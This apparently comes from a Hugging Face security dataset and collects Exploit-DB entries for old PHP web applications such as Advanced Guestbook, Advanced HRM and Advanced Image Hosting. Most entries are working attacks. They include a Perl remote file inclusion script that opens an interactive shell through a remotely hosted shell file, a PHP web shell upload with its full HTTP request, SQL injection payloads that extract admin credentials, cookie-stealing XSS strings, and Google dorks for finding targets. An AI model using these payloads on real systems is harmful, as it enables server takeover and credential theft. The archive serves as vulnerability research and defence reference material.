deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1725
Description: Advanced Guestbook 2.4.0 - 'phpBB' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-28
Author: n0m3rcy

Exploit:
#!usr/bin/perl
use LWP::UserAgent;
# Bug Found by [Oo]
# Exploit coded by n0m3rcy
# Copyright (c) 2006 n0m3rcy@bsdmail.org
# Gr33tz; nukedx , Devil-00 , str0ke , cijfer
# Usage; n0ag.pl <target> <cmd shell location> <cmd shell variable>
if (@ARGV ne 3) { &usage; }
else { &exploit; }
sub header() {
print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";
print "+    Advanced GuestBook for phpBB <= 2.4.0 Remote File Inclusion Exploit      +\r\n";
print "+                             Bug found by [Oo]                               +\r\n";
print "+                     Copyright (c) 2006 n0m3rcy@bsdmail.org                  +\r\n";
print "+                  Gr33tz: nukedx , cijfer , str0ke , Devil-00                +\r\n";
print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n";
}
sub usage() {
  &header;
  print "- Usage: $0 <target> <cmd shell location> <cmd shell variable>\r\n";
  print "- <target> -> Victim's target ex: www.victim.com/path/\r\n";
  print "- <cmd shell location> -> www.milw0rm.com/shelltxt\r\n";
  print "- <cmd shell variable> -> cmd\r\n";
  exit();
}
sub exploit () {
my $tar = $ARGV[0];
my $cmdt = $ARGV[1];
my $cmdv = $ARGV[2];
while() {
print "[CMD] \$";
while(<STDIN>) {
$cmd=$_;
chomp($cmd);
my $exp = LWP::UserAgent->new() or die;
my $go = HTTP::Request->new(GET =>$tar.' admin/addentry.php?phpbb_root_path='.$cmdt.'?&'.$cmdv.'='.$cmd)or die "\r\n[-] Connected fail\n";
my $rgo = $exp->request($go);
my $return = $rgo->content;
my $return =~ tr/[\n]/[ê]/;
if (!$cmd) { print "\nPlease Enter a Command\n\n"; $return =""; }
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       { print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit }
elsif ($return =~/^<br.\/>.<b>Fatal.error/) { print "\nInvalid Command or No Return\n\n" }
if ($return =~ /(.*)/) {
my $finreturn = $1;
my $finreturn=~ tr/[ê]/[\n]/;
print "\r\n$finreturn\n\r";
print "[+] Exploit successed\r\n";
last;
}
else { print "[CMD] \$"; } 
last;
}
exit;
}
}

# milw0rm.com [2006-04-28]
Exploit-DB #30015
Description: Advanced Guestbook 2.4.2 - 'Lang' Cookie Local File Inclusion
Type: webapps
Platform: php
Date: 2007-05-08
Author: netVigilance

Exploit:
source: https://www.securityfocus.com/bid/23876/info

Advanced Guestbook is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Advanced Guestbook 2.4.2 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/../../../hack_www/htdocs/hack
Exploit-DB #29965
Description: Advanced Guestbook 2.4.2 - 'picture.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-08
Author: Jesper Jurcenoks

Exploit:
source: https://www.securityfocus.com/bid/23873/info

Advanced Guestbook is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Advanced Guestbook 2.4.2; other versions may also be affected. 

http://www.example.com/picture.php?size[0]=1&size[1]=1&img=1&picture=[xss]
Exploit-DB #49875
Description: Advanced Guestbook 2.4.4 - 'Smilies' Persistent Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-05-17
Author: Abdulkadir AYDOGAN

Exploit:
# Exploit Title: Advanced Guestbook 2.4.4 - 'Smilies' Persistent Cross-Site Scripting (XSS)
# Date: 17/08/2021
# Exploit Author: Abdulkadir AYDOGAN
# Vendor Homepage: https://www.ampps.com/apps/guestbooks/Advanced_Guestbook
# Software Link: https://www.ampps.com/apps/guestbooks/Advanced_Guestbook
# Version: 2.4.4

Advanced Guestbook is a free open source guestbook script developed in PHP.
Examples of features include email notifications, uploading pictures, html
tags handling, multiple polls, comments and themes.

#Description
The following is PoC to use the XSS bug with authorized user.

Firstly there are four part of a emotion object which is :

- Emotion icon
- Emotion file name
- Emotion command which will be used to call this object (s_code)
- Emotion description (s_emotion)

Here is the exploitation steps for vulnerability:

1. Login to your admin account.
2. Go to "Smilies" tab to view and edit emotion icons
3. Click "edit" text in the "Action" column to edit emotions
4. Change emotion description to Javascript code
5. Click the "Submit Settings"
6. Click "Smilies" tab again to view all emotions and Javascript code will
be executed

# Vulnerable Parameter Type: POST
# Vulnerable Parameter: s_emotion
# Attack Pattern: <script>alert("Smile more!")</script>

#PoC
HTTP Request:

POST /advancedguestbook/admin.php HTTP/1.1
Host: HOST_ADDRESS
Content-Length: 175
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://HOST_ADDRESS
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
http://HOST_ADDRESS/advancedguestbook/admin.php?action=smilies&session=17395de9919fffa0ac9476370c2c7ba0&uid=1&edit_smilie=7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: _ga=GA1.2[PII_REDACTED][PII_REDACTED]; _gid=GA1.2[PII_REDACTED][PII_REDACTED];
_gat=1
Connection: close

s_code=:cool:&s_emotion=<script>alert("Smile
more!")</script>&edit_smilie=7&uid=1&session=17395de9919fffa0ac9476370c2c7ba0&action=smilies&add_smilies=1
Exploit-DB #27779
Description: Advanced Guestbook 2.x - 'Addentry.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-29
Author: [Oo]

Exploit:
source: https://www.securityfocus.com/bid/17745/info

Advanced GuestBook for phpBB is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Versions 2.4.0 and prior are reported vulnerable.

http://www.example.com/[phpbb_path]/admin/addentry.php?phpbb_root_path=http://www.example.com/[badscript]?
Exploit-DB #26870
Description: Advanced Guestbook 2.x - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-12-19
Author: Handrix

Exploit:
source: https://www.securityfocus.com/bid/15927/info

Advanced Guestbook is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/guestbook/index.php?entry=<script>alert(document.cookie);</script>
http://www.example.com/guestbook/index.php?entry=<iframesrc=http://www.example.com/>

http://www.example.com/guestbook/comment.php?gb_id=1<script>alert(document.cookie);</script>
http://www.example.com/guestbook/comment.php?gb_id=1<IFRAMESRC="javascript:alert('XSS');"></IFRAME>
Exploit-DB #45604
Description: Advanced HRM 1.6 - Remote Code Execution
Type: webapps
Platform: php
Date: 2018-10-15
Author: Renos Nikolaou

Exploit:
# Exploit Title: Advanced HRM 1.6 - Remote Code Execution
# Google Dork: intext:"Advanced HRM" 
# Date: 2018-10-06
# Exploit Author: Renos Nikolaou
# Vendor Homepage: https://coderpixel.com/
# Software Link: https://codecanyon.net/item/advanced-hrm/17767006
# Version: 1.6
# Tested on: Windows 10
# CVE: N/A
# Description : Advanced HRM 1.6 allows users to upload arbitrary files which 
# leads to a remote command execution on the remote server.

# PoC
# 1) Create a php file with the below code:

<?php $cmd=$_GET['cmd']; system($cmd); ?>

# 2) Login to Advanced HRM portal as low priviliage user
# 3) At the right hand side go to Update Profile --> Change Picture ( http://domain/hrm/user/edit-profile )
# 4) Click Browse and upload your file containing the PHP code mentioned at step 1. 
# 5) Click Update
# 6) Right click at the Profile image and select Copy image Location
# 7) Paste the URL into your browser. Will be similar to: http://domain/hrm/assets/employee_pic/cmd.php
# 8) Verify the exploit: http://domain/hrm/assets/employee_pic/cmd.php?cmd=id

# The request:
===================

POST /hrm/user/update-user-avatar HTTP/1.1
Host: domain
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://domain/hrm/user/edit-profile
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]685
Content-Length: 378
Connection: close
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED]685
Content-Disposition: form-data; name="image"; filename="cmd.php"
Content-Type: application/octet-stream

<?php $cmd=$_GET['cmd']; system($cmd); ?>

----------------------------[PII_REDACTED]685
Content-Disposition: form-data; name="_token"

yWFLEpnGV1n5OzK7sAPWg6UVJG02Q
----------------------------[PII_REDACTED]685--
Exploit-DB #8238
Description: Advanced Image Hosting (AIH) 2.3 - 'gal' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-03-18
Author: boom3rang

Exploit:
###################################################################
Advanced Image Hosting (AIH) Remote Blind SQL Injection 
###################################################################


###################################################
#[~] Author        :  boom3rang 
#[~] Greetz        :  H!tm@N, KHG, chs, redc00de
#[~] Vulnerability :  Blind SQL injection 
#[~] Google Dork   :  Powered by: AIH v2.3
--------------------------------------------------
#[!] Product Name  :  Advanced Image Hosting    
#[!] Product Site  :  http://www.yabsoft.info
#[!] Version       :  v2.3
#[!] Download      :  http://yabsoft.com/aihs-feature.php
###################################################

[!] AIH Blind SQL Injection.

PoC / Live Demo:
-------------
http://yabsoft.info/demo/aihspro/gallery_list.php?gal=3'/**/and/**/ascii(substring((select/**/concat(admin,0x3a,pass)/**/from/**/setting/**/limit/**/0,1),1,1))>100--++

First charcter of the username is char(100) -->  char="d"
-------------
http://yabsoft.info/demo/aihspro/gallery_list.php?gal=3'/**/and/**/ascii(substring((select/**/concat(admin,0x3a,pass)/**/from/**/setting/**/limit/**/0,1),2,1))>101--++

Second charter of the username is char(101) -->  char2="e"
-------------
http://yabsoft.info/demo/aihspro/gallery_list.php?gal=3'/**/and/**/ascii(substring((select/**/concat(admin,0x3a,pass)/**/from/**/setting/**/limit/**/0,1),3,1))>109--++

Next charter of the username is char(109) --> char3="m"
-------------
http://yabsoft.info/demo/aihspro/gallery_list.php?gal=3'/**/and/**/ascii(substring((select/**/concat(admin,0x3a,pass)/**/from/**/setting/**/limit/**/0,1),4,1))>111--++

And The last charter of the username is char(111) --> char4="o"
-------------
Like we see the username is "demo" now you can continue finding another charters for password, changing the number of charters 5,6,7,8,9,10........?>


##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2009-03-18]
Exploit-DB #17103
Description: Advanced Image Hosting 2.2 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-04-03
Author: keracker

Exploit:
==========================================
Advanced Image Hosting v2.2 SQLi Vulnerability
==========================================

[~]######################################### InformatioN
#############################################[~]

[~] Title     : Advanced Image Hosting v2.2 SQLi Vulnerability
[~] Author    : keracker
[~] Vendor or Software Link  : http://yabsoft.com
[~] Email     : keracker@gmail.com
[~] Data  : 2011-04-01
[~] Google dork: "Powered by: AIH v2.2"
[~] Category:  [Webapps]
[~] Tested on: [Windows /php]

[~]#########################################   ExploiT
#############################################[~]

[~] Vulnerable File :

http://localhost:80/advanced-image-hosting-v2.2/index.php

[~] Vulnerable Variables :
The POST variable: gallery_id
The POST variable: showlinks
The POST variable: gal
The POST variable: id
The POST variable: type
The POST variable: email
The POST variable: emaillinks
The POST variable: allbox
The POST variable: pages
The GET  variable:
http://localhost/Advanced-Image-Hosting-V2.2/index.php?showlinks=1&viewmode=0&gallery_id=[SQLi]
[~]######################################### ThankS To ...
############################################[~]

[~] IRANIAN Young HackerZ # Persian Gulf

[~]#########################################   FinisH :D
#############################################[~]################[~]
Exploit-DB #18352
Description: Advanced Image Hosting Script - SQL Injection
Type: webapps
Platform: php
Date: 2012-01-12
Author: Robert Cooper

Exploit:
# Exploit Title: AIHS (Advanced Image Hosting Script) SQL Injection Vulnerability
# Author: Robert Cooper ( Robert.Cooper [at] areyousecure.net )
# Software Link: http://yabsoft.com/
# Tested on: [Linux/Windows 7]

#Vulnerable File:
 
view_comments.php

#Vulnerable parameter:

view_comments.php?gal=[gallery id]

 
##############################################################
PoC:
 
www.example.com/view_comments.php?gal=109 union all select 1,2,3,4,5,6,7,group_concat(id,0x3a,user,0x3a,pass,0x0a) FROM users--
 
##############################################################

www.areyousecure.net

www.websiteauditing.org

 
# Shouts to the Belegit crew
Exploit-DB #36113
Description: Advanced Image Hosting Script 2.3 - 'report.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-09-05
Author: R3d-D3V!L

Exploit:
source: https://www.securityfocus.com/bid/49457/info

YABSoft Advanced Image Hosting Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Advanced Image Hosting Script 2.3 is vulnerable; other versions may also be affected. 

http://www.example.com/demo/aihspro/report.php?img_id=[XSS]
Exploit-DB #33391
Description: Advanced Image Hosting Script 2.x - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-07
Author: aBo MoHaMeD

Exploit:
source: https://www.securityfocus.com/bid/37233/info

YABSoft Advanced Image Hosting Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Advanced Image Hosting Script 2.2 is vulnerable; other versions may also be affected.

http://www.example.com/search.php?text=%3Cscript%3Ealert(document.cookie)%3C/script%3E&dosearch=Search
Exploit-DB #5581
Description: Advanced Links Management (ALM) 1.52 - SQL Injection
Type: webapps
Platform: php
Date: 2008-05-10
Author: His0k4

Exploit:
###################################################
[~] ALM - Advanced Links Management remote SQL injection exploit
[~] Script download : http://www.easy-script.com/scripts-dl/alm_v152.zip                                                                                                            
[~] Founder: His0k4 { ALGERIAN HACKER }
[~] Greetz : All friends & muslims HaCkErS...
[~] Contact: His0k4.hlm[at]gmail.com
[~] P.O.C :
---------------------
http://localhost/[script_path]/read.php?catId={SQL}
[~] Exemple :
http://localhost/[script_path]/read.php?catId=-1 UNION SELECT 1,concat(username,0x3a,password) FROM login--
---------------------
[~] Note:
    Admin login:  http://localhost/[script_path]/admin
---------------------
###############################################

# milw0rm.com [2008-05-10]
Exploit-DB #3608
Description: Advanced Login 0.7 - 'root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-29
Author: Bithedz

Exploit:
------------------------------------------------------------------------------
Advanced Login <= 0.7 (root) Remote File Inclusion Vulnerability
------------------------------------------------------------------------------

Author		: Zeni Susanto a.k.a Bithedz
Date Found	: Maret, 29th 2007
Location	: Indonesia, Bandung
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~
Application	: AdvanceLogin
version		: 0.7
vendor		: http://www.msxstudios.de
source url      : http://downloads.msxstudios.de/advancedlogin076.zip

---------------------------------------------------------------------------

Description:
~~~~~~~~
Advanced Login is at present for designers the best, for programmers and successful Web masters one the best Login of systems on the market. Templates which can be edited through simply and determined Functions can adapt you to Advanced Login 100% to YOUR Design, not as differently with usual systems around. Advanced Login is developed further and improved, an installation is constantly worthwhile themselves thus, even if the present function yet for your web page are not enough completely.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~

I found vulnerability script in profiledit.php

---------- profiledit.php---------------------------------------------------------
<?php
include($root."login/engine/couple.php");
mysql_query($profil_update_sql);
$result2=mysql_query($select_new_user_sql);
$row2=mysql_fetch_assoc($result2);
?>
 
-----------------------------------------------------------------------------

Input passed to the "root" parameter in profiledit.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.



Proof Of Concept:
~~~~~~~~~~~~

http://target.com/login/engine/db/profiledit.php?root==http://attact.com/colok.txt?

-----------------------------------------------------------------------------

google d0rk:
~~~~~~~
"Advanced Login - Login"

-----------------------------------------------------------------------------
Solution:
~~~
- download new version in vendor URL 

-----------------------------------------------------------------------------
Shoutz:
~~
~ My Wife Monik 
~ K-159

-----------------------------------------------------------------------------

Contact:
~~~
 
     Bithedz[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2007-03-29]
Exploit-DB #12038
Description: Advanced Management For Services Sites - Bypass Create And Download SQL Backup
Type: webapps
Platform: php
Date: 2010-04-04
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Advneced Management For Services Sites =>by pass Creat And Download Buckup Sql Vulnerability            
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : http://am4ss.com/am4ss.zip                                                                                                                                                                                                       
| # Script   : Powered by AM4SS 1.0     
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Backup Dump                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1- http://127.0.0.1/am4ss/admincp/misc.php/login.php?do=backup (CReat And Download Backup)
 
 2- http://127.0.0.1/am4ss/admincp/login.php (2 Login)
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------